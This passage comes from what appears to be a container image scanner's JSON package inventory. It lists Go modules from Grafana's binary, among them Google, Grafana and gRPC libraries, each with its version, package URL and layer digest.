"github.com/google/flatbuffers", "Identifier": { "PURL": "pkg:golang/github.com/google/flatbuffers@v25.12.19%2Bincompatible", "UID": "785d64100ee8076c" }, "Version": "v25.12.19+incompatible", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/google/gnostic@v0.7.1", "Name": "github.com/google/gnostic", "Identifier": { "PURL": "pkg:golang/github.com/google/gnostic@v0.7.1", "UID": "e9196e34754a908a" }, "Version": "v0.7.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/google/gnostic-models@v0.7.1", "Name": "github.com/google/gnostic-models", "Identifier": { "PURL": "pkg:golang/github.com/google/gnostic-models@v0.7.1", "UID": "e58ffed8b7f3c77" }, "Version": "v0.7.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/google/go-cmp@v0.7.0", "Name": "github.com/google/go-cmp", "Identifier": { "PURL": "pkg:golang/github.com/google/go-cmp@v0.7.0", "UID": "bd7bc15a3f29a560" }, "Version": "v0.7.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/google/go-github/v82@v82.0.0", "Name": "github.com/google/go-github/v82", "Identifier": { "PURL": "pkg:golang/github.com/google/go-github/v82@v82.0.0", "UID": "998001da285acd70" }, "Version": "v82.0.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/google/go-querystring@v1.2.0", "Name": "github.com/google/go-querystring", "Identifier": { "PURL": "pkg:golang/github.com/google/go-querystring@v1.2.0", "UID": "31dfa3df2aef1a48" }, "Version": "v1.2.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/google/s2a-go@v0.1.9", "Name": "github.com/google/s2a-go", "Identifier": { "PURL": "pkg:golang/github.com/google/s2a-go@v0.1.9", "UID": "273af99a0b7b3a42" }, "Version": "v0.1.9", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/google/uuid@v1.6.0", "Name": "github.com/google/uuid", "Identifier": { "PURL": "pkg:golang/github.com/google/uuid@v1.6.0", "UID": "9f2eb28764933114" }, "Version": "v1.6.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/google/wire@v0.7.0", "Name": "github.com/google/wire", "Identifier": { "PURL": "pkg:golang/github.com/google/wire@v0.7.0", "UID": "75b2907d480f6fc3" }, "Version": "v0.7.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/googleapis/enterprise-certificate-proxy@v0.3.7", "Name": "github.com/googleapis/enterprise-certificate-proxy", "Identifier": { "PURL": "pkg:golang/github.com/googleapis/enterprise-certificate-proxy@v0.3.7", "UID": "d607e79c21c558f3" }, "Version": "v0.3.7", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/googleapis/gax-go/v2@v2.15.0", "Name": "github.com/googleapis/gax-go/v2", "Identifier": { "PURL": "pkg:golang/github.com/googleapis/gax-go/v2@v2.15.0", "UID": "6ebe89b20ea0a713" }, "Version": "v2.15.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/gorilla/mux@v1.8.1", "Name": "github.com/gorilla/mux", "Identifier": { "PURL": "pkg:golang/github.com/gorilla/mux@v1.8.1", "UID": "8f49eb5697eb6e9f" }, "Version": "v1.8.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/gorilla/websocket@v1.5.4-0.20250319132907-e064f32e3674", "Name": "github.com/gorilla/websocket", "Identifier": { "PURL": "pkg:golang/github.com/gorilla/websocket@v1.5.4-0.20250319132907-e064f32e3674", "UID": "c6d8ad8ae8c9af00" }, "Version": "v1.5.4-0.20250319132907-e064f32e3674", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/alerting@v0.0.0-20260330164719-5946ccd00861", "Name": "github.com/grafana/alerting", "Identifier": { "PURL": "pkg:golang/github.com/grafana/alerting@v0.0.0-20260330164719-5946ccd00861", "UID": "eabce62043455ebe" }, "Version": "v0.0.0-20260330164719-5946ccd00861", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/authlib@v0.0.0-20260316143530-e1d123886039", "Name": "github.com/grafana/authlib", "Identifier": { "PURL": "pkg:golang/github.com/grafana/authlib@v0.0.0-20260316143530-e1d123886039", "UID": "33c062d2d4586535" }, "Version": "v0.0.0-20260316143530-e1d123886039", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/authlib/types@v0.0.0-20260316143530-e1d123886039", "Name": "github.com/grafana/authlib/types", "Identifier": { "PURL": "pkg:golang/github.com/grafana/authlib/types@v0.0.0-20260316143530-e1d123886039", "UID": "44424f43d6b5f2" }, "Version": "v0.0.0-20260316143530-e1d123886039", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/cue@v0.0.0-20230926092038-971951014e3f", "Name": "github.com/grafana/cue", "Identifier": { "PURL": "pkg:golang/github.com/grafana/cue@v0.0.0-20230926092038-971951014e3f", "UID": "5faf397292efb961" }, "Version": "v0.0.0-20230926092038-971951014e3f", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/dataplane/sdata@v0.0.9", "Name": "github.com/grafana/dataplane/sdata", "Identifier": { "PURL": "pkg:golang/github.com/grafana/dataplane/sdata@v0.0.9", "UID": "6f0402fc08f68b75" }, "Version": "v0.0.9", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/dskit@v0.0.0-20260108123158-1a1acfb6ef2e", "Name": "github.com/grafana/dskit", "Identifier": { "PURL": "pkg:golang/github.com/grafana/dskit@v0.0.0-20260108123158-1a1acfb6ef2e", "UID": "dae8dacf8ea85378" }, "Version": "v0.0.0-20260108123158-1a1acfb6ef2e", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/go-mysql-server@v0.20.2-grafana", "Name": "github.com/grafana/go-mysql-server", "Identifier": { "PURL": "pkg:golang/github.com/grafana/go-mysql-server@v0.20.2-grafana", "UID": "45269e4b13849e09" }, "Version": "v0.20.2-grafana", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/gomemcache@v0.0.0-20251127154401-74f93547077b", "Name": "github.com/grafana/gomemcache", "Identifier": { "PURL": "pkg:golang/github.com/grafana/gomemcache@v0.0.0-20251127154401-74f93547077b", "UID": "e3505766f9e327ef" }, "Version": "v0.0.0-20251127154401-74f93547077b", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/grafana-app-sdk@v0.52.1", "Name": "github.com/grafana/grafana-app-sdk", "Identifier": { "PURL": "pkg:golang/github.com/grafana/grafana-app-sdk@v0.52.1", "UID": "74218383dd0350a6" }, "Version": "v0.52.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/grafana-app-sdk/logging@v0.51.4", "Name": "github.com/grafana/grafana-app-sdk/logging", "Identifier": { "PURL": "pkg:golang/github.com/grafana/grafana-app-sdk/logging@v0.51.4", "UID": "a10bae4a30c4cf09" }, "Version": "v0.51.4", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/grafana-aws-sdk@v1.4.3", "Name": "github.com/grafana/grafana-aws-sdk", "Identifier": { "PURL": "pkg:golang/github.com/grafana/grafana-aws-sdk@v1.4.3", "UID": "d9af6c8c5581050e" }, "Version": "v1.4.3", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/grafana-azure-sdk-go/v2@v2.4.0", "Name": "github.com/grafana/grafana-azure-sdk-go/v2", "Identifier": { "PURL": "pkg:golang/github.com/grafana/grafana-azure-sdk-go/v2@v2.4.0", "UID": "6d84ef2e1c79cd1f" }, "Version": "v2.4.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/grafana-cloud-migration-snapshot@v1.10.0", "Name": "github.com/grafana/grafana-cloud-migration-snapshot", "Identifier": { "PURL": "pkg:golang/github.com/grafana/grafana-cloud-migration-snapshot@v1.10.0", "UID": "6ed45f36228bab47" }, "Version": "v1.10.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/grafana-google-sdk-go@v0.4.2", "Name": "github.com/grafana/grafana-google-sdk-go", "Identifier": { "PURL": "pkg:golang/github.com/grafana/grafana-google-sdk-go@v0.4.2", "UID": "2d8bb444d1e92443" }, "Version": "v0.4.2", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/grafana-plugin-sdk-go@v0.291.0", "Name": "github.com/grafana/grafana-plugin-sdk-go", "Identifier": { "PURL": "pkg:golang/github.com/grafana/grafana-plugin-sdk-go@v0.291.0", "UID": "4040d744c2884e5d" }, "Version": "v0.291.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/grafana-prometheus-datasource/pkg/promlib@v0.0.10", "Name": "github.com/grafana/grafana-prometheus-datasource/pkg/promlib", "Identifier": { "PURL": "pkg:golang/github.com/grafana/grafana-prometheus-datasource/pkg/promlib@v0.0.10", "UID": "38884cbe9e22ccd5" }, "Version": "v0.0.10", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/grafana/apps/advisor", "Name": "github.com/grafana/grafana/apps/advisor", "Identifier": { "PURL": "pkg:golang/github.com/grafana/grafana/apps/advisor", "UID": "7ccbd862aac21869" }, "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/grafana/apps/alerting/historian", "Name": "github.com/grafana/grafana/apps/alerting/historian", "Identifier": { "PURL": "pkg:golang/github.com/grafana/grafana/apps/alerting/historian", "UID": "e337423cd3e6a60c" }, "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/grafana/apps/alerting/notifications", "Name": "github.com/grafana/grafana/apps/alerting/notifications", "Identifier": { "PURL": "pkg:golang/github.com/grafana/grafana/apps/alerting/notifications", "UID": "6252a10792a71dfd" }, "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/grafana/apps/alerting/rules", "Name": "github.com/grafana/grafana/apps/alerting/rules", "Identifier": { "PURL": "pkg:golang/github.com/grafana/grafana/apps/alerting/rules", "UID": "b8cb33a1157a1f6" }, "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/grafana/apps/annotation", "Name": "github.com/grafana/grafana/apps/annotation", "Identifier": { "PURL": "pkg:golang/github.com/grafana/grafana/apps/annotation", "UID": "27046509ef3db43e" }, "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/grafana/apps/collections", "Name": "github.com/grafana/grafana/apps/collections", "Identifier": { "PURL": "pkg:golang/github.com/grafana/grafana/apps/collections", "UID": "b19c4b8c5ecf2da3" }, "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/grafana/apps/correlations", "Name": "github.com/grafana/grafana/apps/correlations", "Identifier": { "PURL": "pkg:golang/github.com/grafana/grafana/apps/correlations", "UID": "2c11f9267af93297" }, "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/grafana/apps/dashboard", "Name": "github.com/grafana/grafana/apps/dashboard", "Identifier": { "PURL": "pkg:golang/github.com/grafana/grafana/apps/dashboard", "UID": "a217379316173a77" }, "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/grafana/apps/dashvalidator", "Name": "github.com/grafana/grafana/apps/dashvalidator", "Identifier": { "PURL": "pkg:golang/github.com/grafana/grafana/apps/dashvalidator", "UID": "d27444bace0b4e01" }, "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/grafana/apps/example", "Name": "github.com/grafana/grafana/apps/example", "Identifier": { "PURL": "pkg:golang/github.com/grafana/grafana/apps/example", "UID": "9732b6e59bb166f7" }, "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/grafana/apps/folder", "Name": "github.com/grafana/grafana/apps/folder", "Identifier": { "PURL": "pkg:golang/github.com/grafana/grafana/apps/folder", "UID": "e2428ba3172a5b2c" }, "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/grafana/apps/iam", "Name": "github.com/grafana/grafana/apps/iam", "Identifier": { "PURL": "pkg:golang/github.com/grafana/grafana/apps/iam", "UID": "169f4f0dcde78e53" }, "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/grafana/apps/logsdrilldown", "Name": "github.com/grafana/grafana/apps/logsdrilldown", "Identifier": { "PURL": "pkg:golang/github.com/grafana/grafana/apps/logsdrilldown", "UID": "d54fabb5826e9229" }, "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/grafana/apps/playlist", "Name": "github.com/grafana/grafana/apps/playlist", "Identifier": { "PURL": "pkg:golang/github.com/grafana/grafana/apps/playlist", "UID": "732d66e2149abcb9" }, "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/grafana/apps/plugins", "Name": "github.com/grafana/grafana/apps/plugins", "Identifier": { "PURL": "pkg:golang/github.com/grafana/grafana/apps/plugins", "UID": "b6098ce2d629df38" }, "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/grafana/apps/preferences", "Name": "github.com/grafana/grafana/apps/preferences", "Identifier": { "PURL": "pkg:golang/github.com/grafana/grafana/apps/preferences", "UID": "50b54ca90c1ac75b" }, "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/grafana/apps/provisioning", "Name": "github.com/grafana/grafana/apps/provisioning", "Identifier": { "PURL": "pkg:golang/github.com/grafana/grafana/apps/provisioning", "UID": "33eaf33534e69cd3" }, "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/grafana/apps/quotas", "Name": "github.com/grafana/grafana/apps/quotas", "Identifier": { "PURL": "pkg:golang/github.com/grafana/grafana/apps/quotas", "UID": "b2704ce9afc5594a" }, "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/grafana/apps/scope", "Name": "github.com/grafana/grafana/apps/scope", "Identifier": { "PURL": "pkg:golang/github.com/grafana/grafana/apps/scope", "UID": "f96ecfeb896ccad7" }, "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/grafana/apps/secret", "Name": "github.com/grafana/grafana/apps/secret", "Identifier": { "PURL": "pkg:golang/github.com/grafana/grafana/apps/secret", "UID": "ee93bd476bc7f727" }, "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/grafana/apps/shorturl", "Name": "github.com/grafana/grafana/apps/shorturl", "Identifier": { "PURL": "pkg:golang/github.com/grafana/grafana/apps/shorturl", "UID": "86e28df0f53348fb" }, "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/grafana/pkg/aggregator", "Name": "github.com/grafana/grafana/pkg/aggregator", "Identifier": { "PURL": "pkg:golang/github.com/grafana/grafana/pkg/aggregator", "UID": "b31977cf02f6c5c1" }, "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/grafana/pkg/apimachinery", "Name": "github.com/grafana/grafana/pkg/apimachinery", "Identifier": { "PURL": "pkg:golang/github.com/grafana/grafana/pkg/apimachinery", "UID": "e330af463a27bf08" }, "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/grafana/pkg/apiserver", "Name": "github.com/grafana/grafana/pkg/apiserver", "Identifier": { "PURL": "pkg:golang/github.com/grafana/grafana/pkg/apiserver", "UID": "c97aed757249e08a" }, "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/grafana/pkg/infra/features", "Name": "github.com/grafana/grafana/pkg/infra/features", "Identifier": { "PURL": "pkg:golang/github.com/grafana/grafana/pkg/infra/features", "UID": "8e39bbb787fc1749" }, "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/grafana/pkg/plugins", "Name": "github.com/grafana/grafana/pkg/plugins", "Identifier": { "PURL": "pkg:golang/github.com/grafana/grafana/pkg/plugins", "UID": "67e3af7eab71a3a4" }, "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/grafana/pkg/semconv", "Name": "github.com/grafana/grafana/pkg/semconv", "Identifier": { "PURL": "pkg:golang/github.com/grafana/grafana/pkg/semconv", "UID": "e2ea7ede4d7c41bd" }, "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/grafana/pkg/storage/unified/resource/kv", "Name": "github.com/grafana/grafana/pkg/storage/unified/resource/kv", "Identifier": { "PURL": "pkg:golang/github.com/grafana/grafana/pkg/storage/unified/resource/kv", "UID": "4b4a6f2bf41f0a01" }, "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/jsonparser@v0.0.0-20241004153430-023329977675", "Name": "github.com/grafana/jsonparser", "Identifier": { "PURL": "pkg:golang/github.com/grafana/jsonparser@v0.0.0-20241004153430-023329977675", "UID": "fb7b3495ea1bd190" }, "Version": "v0.0.0-20241004153430-023329977675", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/loki/pkg/push@v0.0.0-20250823105456-332df2b20000", "Name": "github.com/grafana/loki/pkg/push", "Identifier": { "PURL": "pkg:golang/github.com/grafana/loki/pkg/push@v0.0.0-20250823105456-332df2b20000", "UID": "1f43d0787b3cf8f6" }, "Version": "v0.0.0-20250823105456-332df2b20000", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/loki/v3@v3.6.4", "Name": "github.com/grafana/loki/v3", "Identifier": { "PURL": "pkg:golang/github.com/grafana/loki/v3@v3.6.4", "UID": "da2e2e8913ee9c6b" }, "Version": "v3.6.4", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/memberlist@v0.3.1-0.20251126142931-6f9f62ab6f86", "Name": "github.com/grafana/memberlist", "Identifier": { "PURL": "pkg:golang/github.com/grafana/memberlist@v0.3.1-0.20251126142931-6f9f62ab6f86", "UID": "7817e3bfc7ac5490" }, "Version": "v0.3.1-0.20251126142931-6f9f62ab6f86", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/nanogit@v0.17.0", "Name": "github.com/grafana/nanogit", "Identifier": { "PURL": "pkg:golang/github.com/grafana/nanogit@v0.17.0", "UID": "dace2a357d380a1a" }, "Version": "v0.17.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/otel-profiling-go@v0.5.1", "Name": "github.com/grafana/otel-profiling-go", "Identifier": { "PURL": "pkg:golang/github.com/grafana/otel-profiling-go@v0.5.1", "UID": "1937d3f98dbe76e3" }, "Version": "v0.5.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/prometheus-alertmanager@v0.25.1-0.20260225120258-18275ca76b0c", "Name": "github.com/grafana/prometheus-alertmanager", "Identifier": { "PURL": "pkg:golang/github.com/grafana/prometheus-alertmanager@v0.25.1-0.20260225120258-18275ca76b0c", "UID": "44a16b7cd80b512c" }, "Version": "v0.25.1-0.20260225120258-18275ca76b0c", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/pyroscope-go/godeltaprof@v0.1.9", "Name": "github.com/grafana/pyroscope-go/godeltaprof", "Identifier": { "PURL": "pkg:golang/github.com/grafana/pyroscope-go/godeltaprof@v0.1.9", "UID": "a4823f2573fe516" }, "Version": "v0.1.9", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/pyroscope/api@v1.2.1-0.20251202111406-6c67b876b686", "Name": "github.com/grafana/pyroscope/api", "Identifier": { "PURL": "pkg:golang/github.com/grafana/pyroscope/api@v1.2.1-0.20251202111406-6c67b876b686", "UID": "97523ee2f1c74571" }, "Version": "v1.2.1-0.20251202111406-6c67b876b686", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/regexp@v0.0.0-20240518133315-a468a5bfb3bc", "Name": "github.com/grafana/regexp", "Identifier": { "PURL": "pkg:golang/github.com/grafana/regexp@v0.0.0-20240518133315-a468a5bfb3bc", "UID": "19114ebbdcd96c37" }, "Version": "v0.0.0-20240518133315-a468a5bfb3bc", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/sqlds/v5@v5.0.4", "Name": "github.com/grafana/sqlds/v5", "Identifier": { "PURL": "pkg:golang/github.com/grafana/sqlds/v5@v5.0.4", "UID": "ebaef0c2b14f3eca" }, "Version": "v5.0.4", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/tempo@v1.5.1-0.20251027222923-cbe5f845dc7b", "Name": "github.com/grafana/tempo", "Identifier": { "PURL": "pkg:golang/github.com/grafana/tempo@v1.5.1-0.20251027222923-cbe5f845dc7b", "UID": "a02c5dcff632fcff" }, "Version": "v1.5.1-0.20251027222923-cbe5f845dc7b", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grpc-ecosystem/go-grpc-middleware@v1.4.0", "Name": "github.com/grpc-ecosystem/go-grpc-middleware", "Identifier": { "PURL": "pkg:golang/github.com/grpc-ecosystem/go-grpc-middleware@v1.4.0", "UID": "def8bc29be46646e" }, "Version": "v1.4.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grpc-ecosystem/go-grpc-middleware/providers/prometheus@v1.1.0", "Name": "github.com/grpc-ecosystem/go-grpc-middleware/providers/prometheus", "Identifier": { "PURL": "pkg:golang/github.com/grpc-ecosystem/go-grpc-middleware/providers/prometheus@v1.1.0", "UID": "e13ef5ca97ec6831" }, "Version": "v1.1.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grpc-ecosystem/go-grpc-middleware/v2@v2.3.3", "Name": "github.com/grpc-ecosystem/go-grpc-middleware/v2", "Identifier": { "PURL": "pkg:golang/github.com/grpc-ecosystem/go-grpc-middleware/v2@v2.3.3", "UID": "bce2c69612a13328" }, "Version": "v2.3.3", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grpc-ecosystem/go-grpc-prometheus@v1.2.1-0.20191002090509-6af20e3a5340", "Name": "github.com/grpc-ecosystem/go-grpc-prometheus", "Identifier": { "PURL": "pkg:golang/github.com/grpc-ecosystem/go-grpc-prometheus@v1.2.1-0.20191002090509-6af20e3a5340", "UID": "dac58388b34ebff4" }, "Version": "v1.2.1-0.20191002090509-6af20e3a5340", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grpc-ecosystem/grpc-gateway/v2@v2.28.0", "Name": "github.com/grpc-ecosystem/grpc-gateway/v2", "Identifier": { "PURL": 